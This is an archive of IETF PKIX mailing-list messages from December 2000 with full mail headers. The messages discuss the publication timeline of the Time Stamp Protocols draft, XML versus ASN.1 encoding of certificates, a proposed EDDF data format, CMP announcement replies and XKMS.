next week's PKIX sessions. As > > > usual, we have a rather full agenda. Both days should be > > > interesting; we'll discuss the path validation protocols on Tuesday and > > > XML on Wednesday. In between, we'll cover the status of our twenty current > > > I-Ds. > > > >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is > >finished, and that the draft is now under Area Director Review. > > > >What would be a tentative time-line until publication as an RFC, or until > >attribution of a RFC number ? > > > > From owner-ietf-pkix@imc.org Fri Dec 8 04:22:34 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA12664 for ; Fri, 8 Dec 2000 04:22:33 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA08611; Fri, 8 Dec 2000 01:19:41 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 01:19:25 -0800 Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA08561 for ; Fri, 8 Dec 2000 01:19:22 -0800 (PST) Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id KAA30281 for ; Fri, 8 Dec 2000 10:24:39 +0100 Message-ID: <3A30A7DE.6D397603@certplus.com> Date: Fri, 08 Dec 2000 10:20:30 +0100 From: Jean-Marc Desperrier Organization: Certplus X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-pkix Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda) References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> <3A309863.5F3A6D58@bull.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Denis Pinkas wrote: > Tim, > > > The IESG process does not operate on a fixed schedule, so we really can't > > predict when an RFC number might be available. My question had the key words "would", "tentative". I'm aware nothing can be garanteed. > > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will > > still need to go through IETF Last Call, be approved by the IESG, > > Wake-up ! Last call at the IESG level has already been performed on Monday, > 28 Aug 2000 That's not what you want to hear, Denis, but did not the edition of a revised version reset this and mean that there must be a new last call even if the changes are minors ? > > and wait > > in the IETF editing queue. After successfully completing this process, it > > will get an RFC number. (Note that IETF Last Call is a minimum of two > > weeks, and documents seem to be spending at least a month in the editing > > queue. Many documents spend more time in each stage.) > > > > I expect TSP to go through the process rather cleanly. My experience is > > that documents which survive PKIX itself are already fairly well scrubbed. Thank you. A best case time line and an opinion on whether it should go cleanly or not is all I was expecting. From owner-ietf-pkix@imc.org Fri Dec 8 06:07:33 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA24372 for ; Fri, 8 Dec 2000 06:07:32 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA18479; Fri, 8 Dec 2000 03:04:29 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 03:04:08 -0800 Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA18424 for ; Fri, 8 Dec 2000 03:04:06 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id MAA27278; Fri, 8 Dec 2000 12:06:17 +0100 (CET) Received: from mega (t7o69p41.telia.com [213.65.46.41]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB8B6Go21918; Fri, 8 Dec 2000 12:06:16 +0100 (CET) Message-ID: <010a01c06106$aec10fc0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Tom Gindin" , "Polar Humenn" , "Tim Polk" , Subject: Re: PKIXML session. Was: PKIX WG tentative agenda Date: Fri, 8 Dec 2000 12:04:38 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id DAA18427 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Resent, did never show up in the list. Pardon if you already got it! > IMHO the main advantage of XML over ASN.1 for any of these PKI > functions, including AC's, is the far greater number of developers who are > fluent in XML as compared to ASN.1 with BER or DER. Speaking as one of the > relatively few who is more fluent in ASN.1 than XML, I know of no other > reason why XML should be preferred for such uses. However, since syntax > difficulty may well have been one of the reasons why SMTP has become widely > adopted while X.400 has not, this is not a trivial reason. Tom, If you have followed my (too) frequent postings on the subject you should know that there are actually *two* reasons for ACs to use to XML. The second reason is the lack of protocol and CA support for a certificate of the AC type. By using a self-contained signed object like PKCS #7, or in the XML-world XMLDSIG, the term "attribute certificate" can be replaced by "signed attribute container" and make the AC replacement belong to the same league as signed purchase orders etc. And use *identical* PKI support code. Using schemes like S2ML, the currently missing AC PUSH support, is already available w.o. changing a single bit in the underlying PKI systems, protocols and browsers! Given these facts I am willing to bet on that PKIX-ACs will be virtually insignificant. Anyone interested in challenging this??? Anders From owner-ietf-pkix@imc.org Fri Dec 8 08:22:25 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13572 for ; Fri, 8 Dec 2000 08:22:25 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA00356; Fri, 8 Dec 2000 05:19:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 05:19:14 -0800 Received: from levitator.1div0.com (node.061.ty.link.si [213.250.43.61]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA00315 for ; Fri, 8 Dec 2000 05:19:08 -0800 (PST) Received: from intergalactic ([10.1.1.2]) by levitator.1div0.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA07333 for ; Fri, 8 Dec 2000 14:05:10 +0100 Reply-To: From: Sender: "denis bider" To: Subject: [announcement] "Efficient Descriptive Data Format" specification and SDK released Date: Fri, 8 Dec 2000 14:23:02 +0100 Message-ID: <002b01c06119$fe7aa0e0$0201010a@intergalactic> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Efficient Descriptive Data Format preliminary specification and SDK released EDDF is an ASN.1-based binary data transfer and storage format that is structurally similar to XML, but has several additional benefits that make it much more suitable for use in cryptographic applications, storage of binary data, and machine processing in general. In particular, EDDF is: (o) Implicitly canonical. Using EDDF, it is easy to ensure that a single set of data can only be expressed with a single EDDF document. This is important for electronic document signing and signature verification. (o) Easier to parse and safer to use. EDDF uses a strongly defined straightforward binary format, thus elegantly avoiding the complexities and potential security vulnerabilities inherent to text-based formats (such as XML). (o) Efficient. EDDF documents are, on average, 25% shorter than corresponding XML documents. The EDDF specification is currently in First Draft stage, and the author invites all interested individuals and organizations to submit their comments. The EDDF specification, ISO/ANSI C parser and ISO/ANSI C++ parser are available freely from [http://www.eddf.org]. There are no strings attached. You are invited to visit [http://www.eddf.org] for more information. From owner-ietf-pkix@imc.org Fri Dec 8 09:22:54 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA20519 for ; Fri, 8 Dec 2000 09:22:53 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA06858; Fri, 8 Dec 2000 06:19:40 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 06:19:33 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA06818 for ; Fri, 8 Dec 2000 06:19:32 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA05446; Fri, 8 Dec 2000 09:21:38 -0500 (EST) Message-Id: <4.2.0.58.20001208091819.01c19ef0@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 08 Dec 2000 09:19:27 -0500 To: Denis Pinkas From: Tim Polk Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda) Cc: Jean-Marc Desperrier , ietf-pkix In-Reply-To: <3A309863.5F3A6D58@bull.net> References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Denis, Thanks for the reminder! I was simply using the IESG status listing, which still says "Under AD Review". That reduces the timeline a bit... Tim At 09:14 AM 12/8/00 +0100, Denis Pinkas wrote: >Tim, > > > Jean-Marc, > > > > The IESG process does not operate on a fixed schedule, so we really can't > > predict when an RFC number might be available. The IETF process consists > > of repeated discussion and debate regarding the merits of a > > specification. At any stage, we could conceivably discover a problem that > > needs to be resolved. Every problem that is encountered will take > > additional time. > > > > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will > > still need to go through IETF Last Call, be approved by the IESG, > >Wake-up ! Last call at the IESG level has already been performed on Monday, >28 Aug 2000 > >Here is the quoted E-mail: > >" The IESG has received a request from the Public-Key Infrastructure >(X.509) Working Group to consider Internet X.509 Public Key >Infrastructure Time Stamp Protocols (TSP) > as a Proposed Standard. > >The IESG plans to make a decision in the next few weeks, and solicits >final comments on this action. Please send any comments to the >iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000." > >Denis > > > and wait > > in the IETF editing queue. After successfully completing this process, it > > will get an RFC number. (Note that IETF Last Call is a minimum of two > > weeks, and documents seem to be spending at least a month in the editing > > queue. Many documents spend more time in each stage.) > > > > I expect TSP to go through the process rather cleanly. My experience is > > that documents which survive PKIX itself are already fairly well scrubbed. > > > > Tim Polk > > > > At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote: > > >Tim Polk wrote: > > > > > > > I have attached the tentative agenda for next week's PKIX > sessions. As > > > > usual, we have a rather full agenda. Both days should be > > > > interesting; we'll discuss the path validation protocols on > Tuesday and > > > > XML on Wednesday. In between, we'll cover the status of our twenty > current > > > > I-Ds. > > > > > >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is > > >finished, and that the draft is now under Area Director Review. > > > > > >What would be a tentative time-line until publication as an RFC, or until > > >attribution of a RFC number ? > > > > > > From owner-ietf-pkix@imc.org Fri Dec 8 09:42:45 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22842 for ; Fri, 8 Dec 2000 09:42:44 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA08550; Fri, 8 Dec 2000 06:39:11 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 06:39:08 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA08515 for ; Fri, 8 Dec 2000 06:39:06 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA24994; Fri, 8 Dec 2000 09:41:19 -0500 (EST) Message-Id: <4.2.0.58.20001208093731.01d01a70@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 08 Dec 2000 09:39:08 -0500 To: Jean-Marc Desperrier , ietf-pkix From: Tim Polk Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda) In-Reply-To: <3A30A7DE.6D397603@certplus.com> References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> <3A309863.5F3A6D58@bull.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Jean-Marc, The changes in the last edition of TSP were the result of minor comments received during Last Call. The changes do not require recycling at IETF Last Call. Thanks, Tim At 10:20 AM 12/8/00 +0100, Jean-Marc Desperrier wrote: >Denis Pinkas wrote: > > > Tim, > > > > > The IESG process does not operate on a fixed schedule, so we really can't > > > predict when an RFC number might be available. > >My question had the key words "would", "tentative". >I'm aware nothing can be garanteed. > > > > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will > > > still need to go through IETF Last Call, be approved by the IESG, > > > > Wake-up ! Last call at the IESG level has already been performed on Monday, > > 28 Aug 2000 > >That's not what you want to hear, Denis, but did not the edition of a >revised version >reset this and mean that there must be a new last call even if the changes >are minors >? > > > > and wait > > > in the IETF editing queue. After successfully completing this > process, it > > > will get an RFC number. (Note that IETF Last Call is a minimum of two > > > weeks, and documents seem to be spending at least a month in the editing > > > queue. Many documents spend more time in each stage.) > > > > > > I expect TSP to go through the process rather cleanly. My experience is > > > that documents which survive PKIX itself are already fairly well > scrubbed. > >Thank you. >A best case time line and an opinion on whether it should go cleanly or >not is all I >was expecting. > From owner-ietf-pkix@imc.org Fri Dec 8 13:53:57 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA06352 for ; Fri, 8 Dec 2000 13:53:57 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA28872; Fri, 8 Dec 2000 10:49:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 10:49:08 -0800 Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA28836 for ; Fri, 8 Dec 2000 10:49:06 -0800 (PST) Received: (qmail 10823 invoked from network); 8 Dec 2000 18:51:23 -0000 Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 8 Dec 2000 18:51:23 -0000 Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Fri, 08 Dec 2000 12:51:21 -0600 Message-ID: <3A312D14.B8E61989@nma.com> Date: Fri, 08 Dec 2000 10:48:52 -0800 From: Ed Gerck X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Juergen Brauckmann CC: ietf-pkix@imc.org Subject: Re: two good points, Re: PKIXML session. Was: PKIX WGtentative agenda References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> <3A300D20.F7497497@nma.com> <3A308E91.C065FEE@trustcenter.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Juergen Brauckmann wrote: > Ed Gerck wrote: > > If XML encoded documents can be modified without changing the > > document, then presenting one XML encoded document which has > > a valid signature is enough to allow any number of documents equal > > to that one to be verified -- irrespective of their XML encoded form. > > > > In other words, if F: X --> Y is a mapping between two sets X and Y > > such that several different x in X have the same image y0 in Y, then presenting > > a valid signature for one x0 is enough, together with a certified F, to certify all > > other x that have the same image as the certified x0 mapped by the certified F, > > which is y0. > > So we can have an F() which transforms any pattern "$10 " into a "$1000 > " for any given XML documents, so that a document verifies with $10 and > with $1000? Yes, this sounds really useful for signed documents;-) > > Sorry, couldn't resist... . I am glad you did not. If you have a certified F() that transforms "$10" in US Dollars to "$1000" in another currency, this might be really useful. So, even though this is not the case here (because we are talking about control codes, not values), it could well be useful also for values. The bottom line is that if F() is certified between two sets, that F() is useful to connect a certified x0 in X to a y0 in Y which then becomes certified. > > > >So, this is IMO good point #2 -- you can reduce a XML certificate size > > > >*below* the > > > >ASN.1 size. > > The same happens with ASN.1, so both are tied for anything that is random. > > But anything else can be compressed and presents a benefit for compressed > > XML over ASN.1. > > You can compress your ASN.1 data too. "Compressed XML" is IMHO no > standard or RFC, just like there is no "Compressed ASN.1". When you > compress you DER certificates, they will be smaller than compressed XML > structures. Wait. This is a general affirmation, and so it is probably false. But, please prove it. Cheers, Ed Gerck From owner-ietf-pkix@imc.org Fri Dec 8 15:09:14 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA05694 for ; Fri, 8 Dec 2000 15:09:13 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05716; Fri, 8 Dec 2000 12:05:35 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 12:04:51 -0800 Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA05647 for ; Fri, 8 Dec 2000 12:04:47 -0800 (PST) Received: from asn-1.com (user-2ivf8nh.dialup.mindspring.com [165.247.162.241]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id PAA05089; Fri, 8 Dec 2000 15:06:47 -0500 (EST) Message-ID: <3A313FFA.F9B3D59E@asn-1.com> Date: Fri, 08 Dec 2000 15:09:30 -0500 From: "Phillip H. Griffin" Reply-To: phil.griffin@asn-1.com Organization: Griffin Consulting X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: "'PKIX'" CC: "asn.1/xml" Subject: Re: PKIXML session. Was: PKIX WG tentative agenda References: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Steven Legg wrote: > > > -----Original Message----- > > From: Aram Perez [mailto:aram@pacbell.net] > > Sent: Friday, 8 December 2000 4:25 > > To: PKIX > > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda > > > > > > Just for fun, I've attached the PKIX example #1 certificate > > converted from > > ASN.1 to XML. > > > > Enjoy, > > Aram Perez > > That's one way to encode a certificate in XML, but not a method I find > particularly appealing. The following XML encoding of the same certificate > is my best guess (possibly way off) at what represents current thinking on > the ASN.1 group's XML encoding rules mailing list. I would name the elements > in a SET OF or SEQUENCE OF differently, but that is an argument for a > different forum. Steven, I can't speak for everyone involved in the ASN.1/ XML work, but this is a very good guess as to where we seem to be headed. But there are many particulars still to be discussed and resolved and many different opinions to consider. For example, the representation of OID values has spawned a great deal of discussion. While I have favored 1.2.3.4 that mimics the notation used in LDAP, other prefer the ASN.1 value notation format that you've used below. But there is also some sentiment for relying on the urn:oid work currently being progressed in the IETF, as well as proponents of the iso(1) identified-organization(3) style format. And that's just one small issue. The work plan has just been announced and is scheduled for 22 January through 2 February 2001, in Geneva, Switzerland. For anyone that is interested, they might wish to monitor the discussion list at asn1xml@oss.com, as the details of this work are probably a bit off topic for pkix. I would comment though that the benefit of this new notation is obscured somewhat by the examples being used. Certificates are not very interesting to look at for most humans in any format and seem to be at their best in a small, efficient binary format that is mechanically processed. Only a few of their parts have much use as display items. These examples do serve to illustrate how verbose tagged text formats can be. But what will be more beneficial to consider for ASN.1 users I believe, will be the ability to generate default ASN.1 specified XML mark up for the likes of protocol messages, say perhaps the request and response messages specified in tools such as OCSP. Phil > > > > > v3 > > > 17 > > > > { 1 2 840 10040 4 3 } > > > > > > > { 2 5 4 6 } > US > > > > > { 2 5 4 10 } > gov > > > > > { 2 5 4 11 } > nist > > > > > > > 970630000000Z > > > 971231000000Z > > > > > > > { 2 5 4 6 } > US > > > > > { 2 5 4 10 } > gov > > > > > { 2 5 4 11 } > nist > > > > > > > { 1 2 840 10040 4 1 } > >

> d43802c5357bd50ba17e5d72596355d3 > 4556eae2251a6bc5a4abaa0bd462b4d2 > 21b195a2c601c9c3fa016f7986833d03 > 61e1f192acbc034e89a3c9534af7e2a6 > 48cf421e21b15c2b3a7fbabe6b5af70a > 26d88e1bebecbf1e5a3f45c0bd3123be > 6971a7c290fea5d680b524dc449ceb4d > f9daf0c8e8a24c99075c8e352b7d578d >

> > a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd > > > 0e3b46318a0a58864084e3a1220d88ca > 908857649f0121e01505942482e21090 > d9e14e105ce7546bd40c2b1b590aa0b5 > a17db507e3657cea90d88e3042e485bb > acfa4e764b780edf6ce5a6e1bd59777d > a69759c529a7b33f953e9df1592df742 > 87623ff1b86fc73d4bb88d74c4ca4490 > cf67dbde1460974ad1f76d9e0994c40d > > > > > 028180aa98ea1394a2dbf15b7f982f78 > e7d8e3b97186f6802f4039c3da3b4b13 > 4626ee0d56c5a33a39b77d33c26b5c77 > 92f255659039cd1a3c86e132eb25bc91 > c4ff804f3661bdcce26104e07e6013ca > c09cdde0ea41de33c1f144a9bc71decf > 59d46eda44993c2164e478549dd07bba > 4ef5184d5e3930bfe0d1f6f483254f14 > aa71e1 > > > > > > { 2 5 29 19 } > > > TRUE > > > 30030101ff > > > > > { 2 5 29 14 } > > > 0414e726c554cd5ba36f356895aad5ff1c21e42275d6 > > > > > > > { 1 2 840 10040 4 3 } > > > > 302c0214a066c176339913518d93642f > ca1373de791a7d3302145d90f6ce924a > bf2911248028a65a8e73b6760268 > > > > Regards, > Steven From owner-ietf-pkix@imc.org Fri Dec 8 15:11:24 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06591 for ; Fri, 8 Dec 2000 15:11:24 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA06106; Fri, 8 Dec 2000 12:08:04 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 12:08:02 -0800 Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA06073 for ; Fri, 8 Dec 2000 12:08:01 -0800 (PST) Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id ; Fri, 8 Dec 2000 15:00:55 -0500 Message-ID: From: Carlisle Adams To: "'Margus Freudenthal'" Cc: PKIX list Subject: RE: CMP question Date: Fri, 8 Dec 2000 15:10:26 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06152.E7B671C0" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C06152.E7B671C0 Content-Type: text/plain Hi Margus, > ---------- > From: Margus Freudenthal[SMTP:margus@cyber.ee] > Sent: Thursday, December 07, 2000 5:41 AM > To: PKIX list > Subject: CMP question > > Hello. > > The RFC 2510 (or its successor) does not define how one should respond > to announcement messages (i.e. certificate announcement, revocation > announcement, CRL announcement). In some cases (mostly for revocation) > the sending party needs to know that the receiver has really got and > understood the message. It seems to me that the receiver should reply > with Confirmation to indicate that the message was OK or with > ErrorMsgRep, if it wasn't. > > Any other suggestions? In typical practice, there is no response to a broadcast message (the sender does not want -- or need -- to handle the flood of replies that would come back). This is true in many different environments, and CMP announcement messages are no exception. If "the sending party needs to know that (a particular) receiver has really got and understood the message", then the sender should use some mechanism other than a broadcast announcement to achieve this. If I need to make sure I get a message to you, I'm unlikely to put it in the newspaper or in a radio spot; I'd be better off using the telephone or e-mail (for example). Carlisle. ------_=_NextPart_001_01C06152.E7B671C0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: CMP question

Hi = Margus,

    ----------
    From:   = Margus = Freudenthal[SMTP:margus@cyber.ee]
    Sent:   = Thursday, December 07, 2000 5:41 = AM
    To: =     PKIX = list
    Subject: =        CMP question

    Hello.

    The RFC 2510 (or its successor) does = not define how one should respond
    to announcement messages (i.e. = certificate announcement, revocation
    announcement, CRL = announcement).  In some cases (mostly for revocation)
    the sending party needs to know that = the receiver has really got and
    understood the message.  It = seems to me that the receiver should reply
    with Confirmation to indicate that = the message was OK or with
    ErrorMsgRep, if it wasn't.

    Any other suggestions?

 
In = typical practice, there is no response to a broadcast message (the = sender does not want -- or need -- to handle the flood of replies that = would come back).  This is true in many different environments, = and CMP announcement messages are no exception.

If = "the sending party needs to know that (a particular) receiver has = really got and understood the message", then the sender should use = some mechanism other than a broadcast announcement to achieve = this.  If I need to make sure I get a message to you, I'm unlikely = to put it in the newspaper or in a radio spot; I'd be better off using = the telephone or e-mail (for example).

Carlisle.

------_=_NextPart_001_01C06152.E7B671C0-- From owner-ietf-pkix@imc.org Fri Dec 8 17:48:18 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA20378 for ; Fri, 8 Dec 2000 17:48:17 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA13940; Fri, 8 Dec 2000 14:44:12 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 14:43:17 -0800 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA13881; Fri, 8 Dec 2000 14:43:15 -0800 (PST) Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id OAA09473; Fri, 8 Dec 2000 14:46:50 -0800 (PST) Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id ; Fri, 8 Dec 2000 14:45:11 -0800 Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C739@vhqpostal.verisign.com> From: Philip Hallam-Baker To: "'Tim Polk'" , Anders Rundgren , Stephen Kent , ietf-pkix@imc.org, Paul Hoffman / IMC Subject: RE: PKIXML session. Was: PKIX WG tentative agenda Date: Fri, 8 Dec 2000 14:45:10 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; boundary="----=_NextPart_000_0014_01C0613E.D9D670F0"; protocol="application/x-pkcs7-signature" X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C0613E.D9D670F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Tim, I agree, in particular I do not think a protocol that merely changes the syntax of certificates would be worthwhile. The near term goal of our work has been to ensure that there is absolutely no excuse for not PKI enabling an application. Using XKMS it is possible for a device to implement S/MIME based on X.509v3 certificates while treating them as an opaque blob. While we can argue about the model in the context of email clients the argument becomes rather different when we consider wider application of PKI. Am I expected to cross-certify my refrigerator with the cofee maker and toaster? Does my VCR have to establish a certificate path to the television? PKIX is already deployed in many areas and will be the major force in PKI for some time to come. XKMS is primarily a complimentary technology. It shields the client from the complexity of the underlying PKI. It cuts through the Gordian knot of full feature PKI deployment being dependent on deployment of full feature client support that in turn waits for full feature PKI deployment. The objective is to stamp out passwords, not replace PKIX, at least not for quite a while. Phill > -----Original Message----- > From: Tim Polk [mailto:tim.polk@nist.gov] > Sent: Thursday, December 07, 2000 9:32 AM > To: Anders Rundgren; Stephen Kent; ietf-pkix@imc.org; Paul > Hoffman / IMC > Subject: Re: PKIXML session. Was: PKIX WG tentative agenda > > > Anders, > > It is very important that we come to some consensus regarding how > X.509-based PKIs can be integrated with XML-based clients. > This topic is > in my opinion within the scope of our charter. The PKIX WG > has spent a lot > of cycles on the list discussing this topic, so there is clearly > interest. It makes sense to deal with it as much as we can > during the > session. I deferred this discussion to the end since it will > consume any > available time. > > This is very different from a session on XML-based PKIs, > where ASN.1 is > never used. That is the session I thought you were > requesting, and it is > well outside our charter. It is not my role or Steve's to be > organizing > such a session. To be honest, I personally believe that XML is an > inappropriate encoding format for certificates (public key > *or* attribute). > > I am sorry you assumed we wouldn't discuss PKI and XML at all. The > discussion is incomplete if the "loudest PKI-XML proponent" > (or opponent) > is not present. > > Tim > > At 09:36 AM 12/7/00 